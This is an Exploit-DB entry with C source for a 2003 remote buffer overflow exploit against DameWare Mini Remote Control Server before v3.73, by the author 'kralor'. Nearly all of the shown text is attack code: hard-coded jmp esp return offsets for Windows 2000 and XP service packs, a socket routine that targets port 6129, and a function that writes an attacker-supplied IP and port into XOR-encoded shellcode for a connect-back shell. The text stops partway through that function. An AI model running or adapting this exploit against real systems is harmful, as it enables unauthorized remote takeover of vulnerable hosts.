Exploit-DB #23436
Description: DameWare Mini Remote Control Server 3.7x - Buffer Overflow (2)
Type: remote
Platform: windows
Date: 2003-12-16
Author: kralor

Exploit:
// source: https://www.securityfocus.com/bid/9213/info
 
A problem has been identified in the handling of pre-authentication packets by DameWare Mini Remote Control Server. Because of this, it may be possible for a remote attacker to gain unauthorized access to hosts using the vulnerable software.

/**************************************************************************************/
/*     [Crpt] DameWare Mini Remote Control < v3.73 remote exploit by kralor [Crpt]    */
/* -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -   -  */
/* 8/10 win2k successfully exploited in blind mode (lang & type [pro,srv,etc] unknown) */
/* tested against dameware versions: v3.68  v3.72                                     */
/* In comments there's some information about offsets for jmp esp on diff OS.         */
/* I've fixed a problem in the shellc0de, when I check for kernel32.dll, on winXP it  */
/* is kernel32.dll, but on win2k it is KERNEL32.DLL (both in unicode format)          */
/* shellc0de is a bit long for this b0f, so ExitThread won't be called, but it is in  */
/* the shellcode.Some people reported me 2 different offsets for winXP pro, home, sp0 */
/* or sp1, so I don't know why it's different and I haven't XP at home I can't find   */
/* another better EIP for XP (hope this 2 offsets will be enough).                    */
/* greetz: MrNice,AnAc,TripaX & Decryptus for helping me to find the EIP values.      */
/*....................................................................................*/
/* informations: kralor[at]coromputer.net,www.coromputer.net,irc undernet #coromputer */
/**************************************************************************************/

#include <winsock.h>
#include <windows.h>
#include <stdio.h>
#include <stdlib.h>

#pragma comment (lib,"ws2_32")

/*
0x717564B8   jmp esp in comctl32.dll
win2k fr adv srv sp2
win2k en adv srv sp3
win2k en adv srv sp4
win2k en srv     sp3
win2k fr pro     sp3
win2k en pro     sp4

// jmp esp @ 0x77E7898B | win2k fr adv srv sp 1
// jmp esp @ 0x717564B8 | Win2k fr adv srv sp2 & Win2k en srv sp3 & Win2k en adv srv sp4 & win2k fr pro sp3
// jmp esp @ 0x7751A3AB | Win2k fr adv srv sp2 Win2k fr adv srv sp3 & Win2k fr pro sp3

/*
#define RET_WIN2K_SP0 0x717564B8
#define RET_WIN2K_SP1 0x717564B8
#define RET_WIN2K_SP2 0x717564B8
#define RET_WIN2K_SP3 0x717564B8
#define RET_WIN2K_SP4 0x717564B8
#define RET_WINXP_SP0 0x7776FE1F
#define RET_WINXP_SP1 0x7776FE1F
*/

#define RET    "\xB8\x64\x75\x71"
#define RET_XP "\x07\xD5\x36\x77"
// or #define RET_XP "\xC1\x1C\x35\x77" // this offset has been reported by many people

#define PORT 6129
#define SIZEOF 4096
#define WINUSER "h4x0r"
#define WINHOST "l33t_home"
#define USERPROFILE_NAME "script kiddie"
#define USERPROFILE_COMPANY "g33k solutions."
#define USERPROFILE_LICENSE "11111-OEM-0[PII_REDACTED]1"
#define USERPROFILE_DATE "12/24/03 00:00:00"
#define INTERFACE_IP "192.168.1.1,192.168.1.2"
#define WINDOMAIN "l33t_d0m41n"
#define CLIENT_VERSION "3.72.0.0"

/*
void print_packet(char *buffer, int begin, int end)
{
        int i,j;
        char ascii[9];

        for(i=begin,j=0;i<end;i++,j++) {
                if(i%10==0) {
                        printf("\r\n%04d: ",i);
                        j=0;
                memset(ascii,0,sizeof(ascii));
                }
        printf("0x%02x ",(unsigned char)buffer[i]);
        if(i%10==9) {
                ascii[10]=0x00;
                printf("%s",ascii);
                }
        if(!isprint(buffer[i]))
                ascii[j]='.';
        else
                ascii[j]=buffer[i];
        }
        printf("%s\r\n",ascii);
        return;
}
*/

int cnx(char *host)
{
        int sock;
        struct sockaddr_in yeah;
        struct hostent *she;

        sock=socket(AF_INET,SOCK_STREAM,0);
        if(!sock) {
                printf("error: unable to create socket\r\n");
                return 0;
                }
        yeah.sin_family=AF_INET;
        yeah.sin_addr.s_addr=inet_addr(host);
        yeah.sin_port=htons(PORT);

if((she=gethostbyname(host))!=NULL) {
        memcpy((char *)&yeah.sin_addr,she->h_addr,she->h_length);
        } else {
        if((yeah.sin_addr.s_addr=inet_addr(host))==INADDR_NONE) {
                printf("error: cannot resolve host\r\n");
                return 0;
                }
        }
        printf("[+] Connecting to %-30s ...",host);
        if(connect(sock,(struct sockaddr*)&yeah,sizeof(yeah))!=0) {
                printf("error: connection refused\r\n");
                return 0;
                }
        printf("Done\r\n");
        return sock;
}

void set_sc(int os, int sp, char *rhost, int rport, char *shellc0de)
{
        unsigned int ip=0;
        unsigned short port=0;
        char *port_to_shell="",*ip1="";

        ip = inet_addr(rhost); ip1 = (char*)&ip;
        shellc0de[325]=ip1[0]^0x95;shellc0de[326]=ip1[1]^0x95;
        shellc0de[327]=ip1[2]^0x95; shellc0de[328]=ip1[3]^0x95;

        port = htons(rport);
        port_to_shell = (char *) &port;
        shellc0de[319]=port_to_shell[0]^0x95;
        shellc0de[320]=port_to_shell[1]^0x95;

switch(os)
{
case 0: // win2k
/*
        switch(sp)
        {
        case 0:
                *(long*)&shellc0de[0]=RET_WIN2K_SP0;
                break;
        case 1:
                *(long*)&shellc0de[0]=RET_WIN2K_SP1;
                break;
        case 2:
                *(long*)&shellc0de[0]=RET_WIN2K_SP2;
                break;
        case 3:
                *(long*)&shellc0de[0]=RET_WIN2K_SP3;
                break;
        case 4:
                *(long*)&shellc0de[0]=RET_WIN2K_SP4;
                break;
        }
*/
        break;
case 1: // winXP
        shellc0de[167]=shellc0de[215]=(unsigned char)0xfe;
        shellc0de[345]=shellc0de[453]=(unsigned char)0xf